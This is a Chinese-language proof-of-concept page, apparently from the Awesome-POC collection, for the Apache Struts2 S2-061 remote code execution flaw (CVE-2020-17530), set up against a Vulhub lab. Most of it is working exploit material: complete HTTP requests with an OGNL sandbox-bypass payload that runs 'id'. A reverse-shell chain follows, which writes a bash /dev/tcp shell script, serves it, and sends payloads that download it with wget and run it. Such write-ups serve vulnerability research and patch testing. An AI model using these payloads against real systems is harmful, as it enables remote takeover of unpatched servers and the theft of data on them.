mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 11:58:05 +00:00
119 lines
4.9 KiB
Markdown
119 lines
4.9 KiB
Markdown
# Apache Struts2 S2-061 远程代码执行漏洞 CVE-2020-17530
|
||
|
||
## 漏洞描述
|
||
|
||
S2-061 是对 S2-059 的绕过，Struts2 官方对 S2-059 的修复方式是加强 OGNL 表达式沙盒，而 S2-061 绕过了该沙盒。
|
||
|
||
参考链接：
|
||
|
||
- https://cwiki.apache.org/confluence/display/WW/S2-061
|
||
- https://github.com/ka1n4t/CVE-2020-17530
|
||
- https://www.anquanke.com/post/id/225252
|
||
- https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g
|
||
|
||
## 漏洞影响
|
||
|
||
影响版本: Struts 2.0.0 - Struts 2.5.25
|
||
|
||
## 环境搭建
|
||
|
||
Vulhub 执行以下命令启动 s2-061 测试环境：
|
||
|
||
```
|
||
docker-compose build
|
||
docker-compose up -d
|
||
```
|
||
|
||
环境启动后，访问 `http://your-ip:8080/index.action` 查看到首页。
|
||
|
||
## 漏洞复现
|
||
|
||
发送如下数据包，即可执行 `id` 命令：
|
||
|
||
```
|
||
POST /index.action HTTP/1.1
|
||
Host: your-ip:8080
|
||
Accept-Encoding: gzip, deflate
|
||
Accept: */*
|
||
Accept-Language: en
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
|
||
Connection: close
|
||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
|
||
Content-Length: 829
|
||
|
||
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
|
||
Content-Disposition: form-data; name="id"
|
||
|
||
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
|
||
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
|
||
```
|
||
|
||
可见，`id` 命令返回结果将直接显示在页面中：
|
||
|
||
|
||
|
||
### 反弹 shell
|
||
|
||
编写 shell 脚本并启动 http 服务器：
|
||
|
||
```
|
||
echo "bash -i >& /dev/tcp/192.168.174.128/9999 0>&1" > shell.sh
|
||
python3环境下：python -m http.server 80
|
||
```
|
||
|
||
上传 shell.sh 文件的命令为：
|
||
|
||
```
|
||
wget 192.168.174.128/shell.sh
|
||
```
|
||
|
||
上传 shell.sh 文件的 Payload 为：
|
||
|
||
```
|
||
POST /index.action HTTP/1.1
|
||
Host: your-vps-ip:8080
|
||
Accept-Encoding: gzip, deflate
|
||
Accept: */*
|
||
Accept-Language: en
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
|
||
Connection: close
|
||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
|
||
Content-Length: 858
|
||
|
||
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
|
||
Content-Disposition: form-data; name="id"
|
||
|
||
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("wget 192.168.174.128/shell.sh")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
|
||
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
|
||
```
|
||
|
||
执行 shell.sh 文件的命令为：
|
||
|
||
```
|
||
bash shell.sh
|
||
```
|
||
|
||
执行 shell.sh 文件的 Payload 为：
|
||
|
||
```
|
||
POST /index.action HTTP/1.1
|
||
Host: your-vps-ip:8080
|
||
Accept-Encoding: gzip, deflate
|
||
Accept: */*
|
||
Accept-Language: en
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
|
||
Connection: close
|
||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
|
||
Content-Length: 842
|
||
|
||
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
|
||
Content-Disposition: form-data; name="id"
|
||
|
||
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash shell.sh")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
|
||
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
|
||
```
|
||
|
||
成功接收反弹 shell：
|
||
|
||
|